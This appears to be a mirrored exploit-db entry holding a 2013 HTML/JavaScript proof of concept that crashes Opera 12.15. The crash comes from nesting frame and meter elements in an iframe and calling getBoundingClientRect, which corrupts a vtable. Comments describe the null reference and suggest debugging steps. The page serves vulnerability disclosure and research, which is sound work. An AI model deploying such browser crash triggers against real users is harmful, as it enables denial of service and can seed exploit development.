Opera 12.15 – vtable Corruption

  • 作者： echo
    日期： 2013-07-02
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/26555/
  • <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title> Opera 12.15 DOS POC</title>
</head>
<body>
<iframe id="wnd"></iframe>
<script type="text/javascript" language="JavaScript">

 /* 
 Title: Opera 12.15 vTable Corruption
 Author: echo
 Test: Windows 7 x64
 Version: Opera 12.15 Win32
 Link: www.opera.com
 */

var wnd = document.getElementById("wnd");
wnd = wnd.contentWindow;

function d00m()
{ 
 var tag = [];
 tag.push(document.createElement("frame"));
 tag.push(document.createElement("meter"));

 wnd.document.body.appendChild(tag[0]);
 wnd.document.body.appendChild(tag[1]);

 /* step 1*/
 var obj = tag[1];

 var obj_1 = tag[0];

 try{ obj_1.appendChild(obj); }catch(b){}
/* eax = [esi + 14h] = this->unknow20 */
 try{ obj_1.getBoundingClientRect(); }catch(a){}/* ecx = [eax + 14h] = this->unknow20->unknow20 */
/* eax = [ecx] = this->unknow20->unknow20[vtBl] (correnct) */
 /* step 2*/ 
 var obj = tag[0];

 var obj_1 = tag[1];

 try{ obj_1.appendChild(obj); }catch(b){} 
 
 try{ obj_1.getBoundingClientRect();}catch(a){} /* eax = [esi + 14h] = this->unknow20 */
/* ecx = [eax + 14h] = this->unknow20->unknow20 */
} /* eax = [ecx] = this->unknow20->unknow20[vtBl] (uncorrect) 0x00000000 reference */

d00m();


/* so we have here some kind of memory corruption */
/* in "step 1" "vulnerable" code works fine he gets refernce to vtable and do some stuff */
/* in "step 2" the same code do the same thing but vtable of refernced object is corrupted and has value 0x0000000*/
/* logically next step should be checking why the vtable in "step 2" is corrupted */
/* i observed heap allocation and free function between "step 1" and "step 2" - no alloc and free of intersting area occurs (but maybe i fuckup something) */
/* We also can set mem access breakpoint on [eax+14h] at the right moment to find out what corrupt vtable */
 


 </script>
 <!--088241c155f232f70fcae7020157b9dcff210b84-->
</body>
</html>